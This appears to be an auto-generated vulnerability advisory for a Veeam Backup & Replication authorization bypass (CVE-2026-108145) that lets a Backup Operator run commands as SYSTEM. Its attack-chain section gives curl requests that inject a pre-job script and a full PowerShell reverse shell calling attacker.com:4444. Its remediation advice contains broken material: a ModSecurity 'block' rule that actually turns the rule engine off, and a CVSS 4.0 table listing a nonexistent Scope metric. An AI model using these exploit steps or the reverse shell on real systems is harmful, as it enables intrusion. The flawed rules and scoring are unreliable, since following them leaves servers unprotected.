CVE-2026-108145 — Veeam Backup And Replication — CWE-863
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Operator role to execute arbitrary commands on the backup server with the privileges of the Veeam Backup Service, which is SYSTEM on Windows-based servers. The job management interface of the backup service lets this role modify backup job options, including the pre-job script command, even though the role is not permitted to edit jobs. The user can then start the job to run the injected command.
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Operator role to execute arbitrary commands on the backup server with the privileges of the Veeam Backup Service, which is SYSTEM on Windows-based servers. The job management interface of the backup service lets this role modify backup job options, including the pre-job script command, even though the role is not permitted to edit jobs. The user can then start the job to run the injected command.
🎯 What is this vulnerability?
CVE‑2026‑108145 is a classic Authorization Bypass Through Privileged Role (CWE‑863) in Veeam Backup & Replication.
The software implements a role‑based access control (RBAC) model where the Backup Operator role is intended to view and run backup jobs but not to edit job configuration.
However, the job‑management API/UI incorrectly allows a Backup Operator to modify the pre‑job script field of any job. Because the Veeam Backup Service runs as SYSTEM on Windows, any command injected into that field is executed with SYSTEM privileges when the job is started.
| CVSS 4.0 component | Value | Interpretation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Remote attacker can reach the service over the network. |
| Attack Complexity (AC) | Low (L) | No special conditions required. |
| Privileges Required (PR) | Low (L) | Only a Backup Operator account is needed. |
| User Interaction (UI) | None (N) | No user action required after the exploit. |
| Confidentiality Impact (VC) | High (H) | Full access to backup data and the backup server. |
| Integrity Impact (VI) | High (H) | Ability to modify or delete backup jobs and data. |
| Availability Impact (VA) | High (H) | Potential to disrupt backup operations or crash the service. |
| Scope (S) | Unchanged (U) | The vulnerability does not affect other components outside the backup service. |
The flaw is a missing authorization check on the endpoint that updates job options. The RBAC engine does not verify that the caller has the Edit Jobs permission before allowing a change to the preJobScript field.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. The example uses the Veeam REST API, which is the most common programmatic interface. If the attacker prefers the web UI, the same logic applies – the UI simply renders the same API calls.
NOTE – The exact URI paths (/api/jobs/...) are illustrative. The real endpoints may differ; the attacker would discover them via the API documentation or by inspecting traffic.1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| 1.1 | Identify Veeam service | nmap -sV -p 9443 <target> → Veeam Backup & Replication 12.x |
| 1.2 | Enumerate roles & permissions | curl -k -u admin:Password https://<target>/api/roles → list includes Backup Operator |
| 1.3 | Verify job list | curl -k -u operator:Password https://<target>/api/jobs → returns job IDs |
The attacker now knows that a Backup Operator account exists and that the API is reachable.
2. Exploitation
| Step | Action | Example |
|---|---|---|
| 2.1 | Inject a malicious pre‑job script | The attacker crafts a JSON payload that sets the preJobScript field to an arbitrary command. |
| 2.2 | Send the payload | `curl -k -u operator:Password -X POST https://<target>/api/jobs/123/options \\
-H "Content-Type: application/json" \\
-d '{"preJobScript":"powershell -Command \"Invoke-Expression 'cmd /c whoami'\""}'` |
| 2.3 | Start the job |
curl -k -u operator:Password -X POST https://<target>/api/jobs/123/start |When the job starts, the Veeam Backup Service (running as SYSTEM) executes the injected PowerShell command. The command can be anything – a reverse shell, a persistence mechanism, or a data exfiltration routine.
Illustrative Example – The attacker could replace the command with a reverse shell:
> powershell -NoP -NonI -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" >
3. Post‑Exploitation
| Step | Impact | What the attacker can do |
|---|---|---|
| 3.1 | SYSTEM privileges | The attacker now runs as SYSTEM on the backup server. |
| 3.2 | Install persistence | Deploy a Windows service, scheduled task, or registry run key. |
| 3.3 | Data exfiltration | Copy backup files to an external location, or dump the backup database. |
| 3.4 | Move laterally | Use the SYSTEM account to pivot to other servers or domain controllers. |
| 3.5 | Cover tracks | Delete or modify audit logs, disable logging, or use stealthy backdoors. |
Because the attacker can run arbitrary code as SYSTEM, the impact is effectively full compromise of the backup infrastructure.
🌍 Real World Impact
| Impact | Detail |
|---|---|
| Confidentiality | High – attacker can read all backup data, including PII, credentials, and system images. |
| Integrity | High – attacker can modify or delete backup jobs, corrupt backup data, or inject malicious payloads into future backups. |
| Availability | High – attacker can crash the backup service, delete scheduled jobs, or lock out legitimate users. |
| Scope | Unchanged – the vulnerability is confined to the Veeam Backup Service; it does not automatically affect other services. |
Practical consequences for an organization:
- Loss of trust in backup integrity; regulatory compliance violations (e.g., GDPR, HIPAA).
- Potential for ransomware deployment if the attacker uses the SYSTEM account to encrypt backup files.
- Extended downtime of backup operations, leading to data loss or extended recovery times.
- Compromise of the entire domain if the backup server is a domain controller or has privileged network access.
🛡️ Remediation & Mitigation
Affected Versions
| Product | Affected Versions | Patch Status |
|---|---|---|
| Veeam Backup & Replication | 12.x and earlier (including 12.0‑12.5) | Patch pending – no public release as of 03 Dec 2026. |
Recommendation: Upgrade to the latest Veeam Backup & Replication release (≥ 12.6) once the vendor publishes a patch. If an upgrade is not immediately possible, apply the mitigations below.
Workarounds
1. Restrict the Backup Operator role
Remove the Edit Jobs* permission from the role.
Verify that the role only has View Jobs and Run Jobs* permissions.
2. Disable pre‑job scripts
In the Veeam console, set the Pre‑Job Script* field to a static, benign value (e.g., echo "No script").
* Alternatively, use the API to clear the field for all jobs:
curl -k -u admin:Password -X POST https://<target>/api/jobs/123/options \
-H "Content-Type: application/json" \
-d '{"preJobScript":"echo \"No script\""}'3. Apply WAF / ModSecurity rules
Block POST requests that modify preJobScript unless the caller has the Edit Jobs* permission.
* Example ModSecurity rule (illustrative):
SecRule REQUEST_URI "@beginsWith /api/jobs/" \
"chain,phase:2,block,msg:'Disallow preJobScript modification by non‑editors'"
SecRule REQUEST_HEADERS:Authorization "@rx Basic [A-Za-z0-9+/=]+" \
"chain"
SecRule REQUEST_HEADERS:Authorization "@rx ^Basic [A-Za-z0-9+/=]+$" \
"chain"
SecRule REQUEST_HEADERS:Authorization "@rx ^Basic [A-Za-z0-9+/=]+$" \
"t:none,allow,ctl:ruleEngine=Off"* The rule should be tuned to your environment; the above is a template.
4. Network segmentation
* Place the backup server in a separate VLAN or subnet with strict egress rules.
* Allow only the backup service to communicate with the storage targets.
Detection
| Indicator | Log Source | Example |
|---|---|---|
| Job option changes by Backup Operator | Veeam audit log (veeam_audit.log) | User: operator modified job 123 preJobScript |
| Execution of pre‑job script | Windows Event ID 4688 (Process Creation) | CommandLine: powershell -Command "Invoke-Expression 'cmd /c whoami'" |
| Unexpected network connections from backup server | NetFlow / IDS | Connection from <backup_server> to external IP on port 4444 |
| System service creation by backup service | Windows Event ID 7045 | ServiceName: MyBackdoor |
Tip: Enable Veeam’s Audit Logging and forward logs to a SIEM. Correlate job start events with process creation events to spot anomalous scripts.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query